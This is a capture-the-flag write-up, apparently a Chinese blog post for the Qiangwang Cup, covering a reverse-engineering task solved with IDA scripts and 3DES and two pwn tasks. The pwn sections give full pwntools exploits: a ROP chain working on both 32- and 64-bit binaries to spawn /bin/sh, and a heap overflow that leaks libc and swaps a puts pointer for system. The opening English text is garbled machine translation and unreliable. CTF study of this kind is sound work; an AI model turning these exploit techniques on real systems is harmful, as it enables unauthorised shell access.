Strong Net cup sign re sign pwn solution to a problem

Strong Net Cup to fight autism is not the last to enter the first page of a pity but fast hand speed to grab a pioneer three blood I feel pretty good

I have to say that the strong anti-cheat network can do really well re not the same for everyone really can flag

Then pwn problem but there are still strong network of really carry out his show with a team token

Let me re

Can be derived flag

Just re

The subject can be considered a sign problem

First of all to repair function

Although the above xmmword_405018 changes but did not change so loc_404148 us directly here

Write a script idc repair function

auto i=0;
while(i<0x60)
{
   PatchByte(0x004018A0+i,Byte(0x00404148+i));
   i++;

}

Then delete function and then create a function inside the code have become like

Note a while and do while

Said above loc_404148 above analysis is the same code and dynamic analysis shows od

V11 is our last two as converted into a hexadecimal value of course before 8 also be converted to v3

Then we can put here   

*(&xmmword_405018 + v20) = (v20 + v3) ^ (0x1010101 * v11 + *(&xmmword_405018 + v20));

Converted to

*(&xmmword_405018 + v20) ^ (0x1010101 * v11 + *(&xmmword_405018 + v20))=(v20 + v3)

Then we can and because v20 plus 1 per cycle

Here we can use this to write a script

for i in range(100):

if Dword(0x404148)^(Dword(0x405018)+i*0x1010101)&0xffffffff==Dword(0x404148+4)^((Dword(0x405018+4)+i*0x1010101)&0xffffffff)-1:

print hex(i),hex(Dword(0x404148)^Dword(0x405018)+(i*0x1010101)&0xffffffff)

print "yes"

The results can be drawn

Before drawing 10

 I feel like 3des

 

The ciphertext is 50 7c a9 e6 87 09 ce fa 20 d5 0d cf 90 bb 97 6c 90 90 f6 b0 7b a6 a4 e8

The key is AFSAFCEDYCXCXACNDFKDCQXC

 

Get the flag

Then pwn

pwn I'll just copy and paste the content of our blog person in charge of the

pwn these two problems is not too difficult but the first day and I have stuck the head so. . . Are not thinking

Strong Net Cup pwn__stkof There are two versions of this title

At first we did not get to what this means

 后来才知道这个题目是    要兼容两个版本   。。。

先看保护

[*] '/Volumes/\xe8\xbd\xaf\xe4\xbb\xb6/CTF/qwb/1/_stkof'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

main

两个版本的main函数都一样

int __cdecl main(int argc, const char **argv, const char **envp)
{
  puts("Welcome to QWB");
  puts("We give you a little challenge, try to pwn it?");
  vul();
  return 0;
}

分析

开始的时候以为随便打通一个程序就行了,重复了好多遍然后每个本地都打通了最后还是不行,最后才隐隐约约想到一个脚本把两个程序都打通的想法,我开始做题的时候就发现了buf长度不一样,所以最后发现得需要一个脚本打通两个程序

关键函数

#32位的
int vul()
{
  char v1; // [esp+Ch] [ebp-10Ch]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  j_memset_ifunc(&v1, 0, 256);
  read(0, &v1, 0x300u);
  return puts(&v1);
}
#64位的
__int64 vul()
{
  __int64 v0; // rdx
  char buf; // [rsp+0h] [rbp-110h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  j_memset_ifunc(&buf, 0LL, 256LL);
  read(0, &buf, 0x300uLL);
  return puts(&buf, &buf, v0);
}

关键点在于buf到各自栈底ebp(rbp)的长度

利用64位rbp的位置存储32位的可用关键ropgadget

32位:0x080a69f2 : add esp, 0x20 ; ret

64位:0x000000000040cd18 : add esp, 0x80 ; ret

使各自不受影响即可,

本地脚本

from pwn import *

io = process('./__stkof')
int_0x80_addr = 0x080495a3
bss = 0x080DAFC4
pop_dx_cx_bx_ret = 0x0806e9f1
pop_edi_ret=0x08049b1b
pop_rax_ret = 0x080a8af6
read=0x0806C8E0
syscall = 0x0000000000461645
bss_64_addr = 0x6a4e40
pop_rdi_64_ret = 0x4005f6
pop_rsi_64_ret = 0x405895
pop_rdx_64_ret = 0x43b9d5
pop_rax_64_ret = 0x43b97c
add_64_80sp_ret = 0x40cd17
add_32_20sp_ret = 0x080a69f2
pay='A'*0x110
pay+=p32(add_32_20sp_ret)
pay+='A'*4
pay+=p64(add_64_80sp_ret)
pay+='A'*0x14
pay+=p32(read) 
pay+=p32(pop_dx_cx_bx_ret) 
pay+=p32(0) 
pay+=p32(bss) 
pay+=p32(0x8)  
pay+=p32(pop_rax_ret) 
pay+=p32(0xb) 
pay+=p32(pop_dx_cx_bx_ret) 
pay+=p32(0)  
pay+=p32(0) 
pay+=p32(bss)
pay+=p32(int_0x80_addr)
pay+='A'*0x3c
pay+=p64(pop_rdi_64_ret) 
pay+=p64(0x0) 
pay+=p64(pop_rsi_64_ret) 
pay+=p64(bss_64_addr) 
pay+=p64(pop_rdx_64_ret) 
pay+=p64(0x20) 
pay+=p64(pop_rax_64_ret) 
pay+=p64(0) 
pay+=p64(syscall) 
pay+=p64(pop_rax_64_ret) 
pay+=p64(0) 
pay+=p64(pop_rsi_64_ret) 
pay+=p64(0x0) 
pay+=p64(pop_rdx_64_ret) 
pay+=p64(0x0) 
pay+=p64(pop_rax_64_ret) 
pay+=p64(59) 
pay+=p64(pop_rdi_64_ret) 
pay+=p64(bss_64_addr) 
pay+=p64(syscall)
io.recv()
io.sendline(pay)
io.recv()
io.send('/bin/sh\x00')

io.interactive()
io.close()
io = process('./_stkof')
io.recv()
io.sendline(pay)
io.recv()
io.send('/bin/sh\x00')

io.interactive()
io.close()

不过当时 还有个坑爹的验证   有时候运气不好还会 让 在运行一次~

import hashlib,sys,socket,re
from struct import pack
from pwn import *
from struct import pack

r = remote()
r.recv()
data=r.recv()
print data
skr_sha256 = re.findall('hashlib.sha256\(skr\).hexdigest\(\)=(.*?)\n', data)[0]
skr = re.findall('skr\[0:5\].encode\(\'hex\'\)=(.*?)\n', data)[0].decode('hex')

while True:
    for i in range(255, 1, -1):
        for j in range(255, 1, -1):
            for k in range(255, 1, -1):
                temp = skr + chr(i) + chr(j) + chr(k)
                _sha256 = hashlib.new('sha256')
                _sha256.update(temp)
                if _sha256.hexdigest() == skr_sha256:
                    print temp.encode('hex'),i,j,k
                    r.send(temp.encode('hex')+'\r\n')
                    print r.recv(1024)
                    r.sendline()

可能有其它简约的版本把 我们没有想起来~~

第二题  强网先锋-ap 

这可是真正的水题了 但是呢  负责人这个人思想出了问题   看见没有人做出来就感受到了压力 就划水到 没有血 再搞 ·~~

然后这个题目   其实真简单 我虽然不是主pwn手 但这个题 真的我上我也行

[*] '/media/psf/AllFiles/Volumes/\xe8\xbd\xaf\xe4\xbb\xb6/CTF/qwb/main/task_main'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[~/Desktop/Link to qwb/main]$     

main

// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(*&argc, argv, envp);
  welcome(*&argc);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      _isoc99_scanf("%d", &v3);
      getchar();
      if ( v3 != 3 )
        break;
      Change();
    }
    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 1337 )
        huangniu();
      else
LABEL_15:
        puts("something wrong!");
    }
    else if ( v3 == 1 )
    {
      Get();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_15;
      Open();
    }
  }
}

分析

简单来看是道菜单题,点进去看看

unsigned __int64 Get()
{
  _QWORD *v0; // rax
  int v1; // eax
  char size[12]; // [rsp+4h] [rbp-1Ch]
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( number > 4 )
  {
    puts("We don't have too much tickets! Bye~");
    exit(0);
  }
  v0 = malloc(0x10uLL);
  *&size[4] = v0;
  v0[1] = &puts;
  puts("The length of my owner's name:");
  _isoc99_scanf("%d", size);
  getchar();
  buf = malloc(*size);
  puts("Give me my owner's name:");
  read(0, buf, (*size - 1));
  *(buf + (*size - 1)) = 0LL;
  **&size[4] = buf;
  v1 = number++;
  list[v1] = *&size[4];
  puts("OK! Give you a tickets of your own~");
  return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 Open()
{
  unsigned int v1; // [rsp+4h] [rbp-1Ch]
  void (__fastcall *v2)(_QWORD, unsigned int *); // [rsp+8h] [rbp-18h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Please tell me which tickets would you want to open?");
  _isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 > number )
  {
    puts("sorry you can't open this tickets!");
  }
  else
  {
    v2 = list[v1][1];
    puts("I'm a magic tickets.I will tell you who is my owner!");
    v2(*list[v1], &v1);
  }
  return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 Change()
{
  int v1; // [rsp+8h] [rbp-18h]
  unsigned int v2; // [rsp+Ch] [rbp-14h]
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("Please tell me which tickets would you want to change it's owner's name?");
  _isoc99_scanf("%d", &v2);
  getchar();
  if ( v2 > number )
  {
    puts("sorry you can't change this tickets!");
  }
  else
  {
    buf = *list[v2];
    puts("The length of my owner's name:");
    _isoc99_scanf("%d", &v1);
    getchar();
    puts("Give me my owner's name:");
    read(0, buf, (v1 - 1));
    puts("OK! I know my owner's new name!");
  }
  return __readfsqword(0x28u) ^ v4;
}

关键函数

unsigned __int64 Change()
{
  int v1; // [rsp+8h] [rbp-18h]
  unsigned int v2; // [rsp+Ch] [rbp-14h]
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("Please tell me which tickets would you want to change it's owner's name?");
  _isoc99_scanf("%d", &v2);
  getchar();
  if ( v2 > number )
  {
    puts("sorry you can't change this tickets!");
  }
  else
  {
    buf = *list[v2];
    puts("The length of my owner's name:");
    _isoc99_scanf("%d", &v1);
    getchar();
    puts("Give me my owner's name:");
    read(0, buf, (v1 - 1));
    puts("OK! I know my owner's new name!");
  }
  return __readfsqword(0x28u) ^ v4;
}

我们可以从这个关键函数看出漏洞利用点,可以执行堆溢出造成关键函数覆盖,把调用的puts覆盖成其他的

exp步骤

  1. 申请两个chunk
  2. 把第一个溢出填充到第二个的puts指针前
  3. open(0)来leak puts 的地址
  4. 然后计算libc的基址和system的地址
  5. 修改第一个覆盖第二个的两个指针
  6. 修改第二个chunk的puts指针为system地址,修改第二个chunk的name指针为/bin/sh的地址
  7. open(1)拿到shell

完整脚本

from pwn import *
context.log_level='debug'

io=process('./task_main')
#io=remote('49.4.15.125',30175)
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def get(b,a):
    io.sendline('1')
    io.sendlineafter("The length of my owner's name:\n",str(b))
    io.sendafter("Give me my owner's name:\n",a)

def open(a):
    io.sendline('2')
    io.sendlineafter("Please tell me which tickets would you want to open?\n",str(a))

def change(a,b):
    io.sendline('3')
    io.sendlineafter("Please tell me which tickets would you want to change it's owner's name?\n",str(a))
    io.sendlineafter("The length of my owner's name:",str(len(b)+1))
    io.sendafter("Give me my owner's name:",b)

io.recv()
get(20,'aaaa')
get(20,'bbbb')
change(0,'a'*40)
io.recv()
open(0)
io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
puts_addr=u64(io.recv(6).ljust(8,'\x00'))
log.success('puts_addr:'+hex(puts_addr))
libc_base=puts_addr-libc.symbols['puts']
log.success('libc_base:'+hex(libc_base))
bin_sh_addr=libc_base+libc.search('/bin/sh\x00').next()
system_addr=libc_base+libc.symbols['system']
pay='a'*0x10+p64(0)+p64(21)+p64(bin_sh_addr)+p64(system_addr)
change(0,pay)
open(1)
#gdb.attach(io)
#pause()
io.interactive()

这样就成功的get到flag

总结: 第一天自闭的不应该 起码能够做出那道水题 一开始我都把函数恢复出来了 但是 那个函数 由于这个比赛 我个人感觉很难 还以为是出题人自己实现的加密方式   然后 就没有做出来 这里也体现出了我密码学确实不扎实   3DES 这么简单的加密算法都没有做出来 后来如果不是学长问我一句卡在哪里了 我还是没有做出来  自闭·~~~ 

不过能混个证书确实开心鸭~~~~~~

Guess you like

Origin blog.csdn.net/qq_41071646/article/details/90607928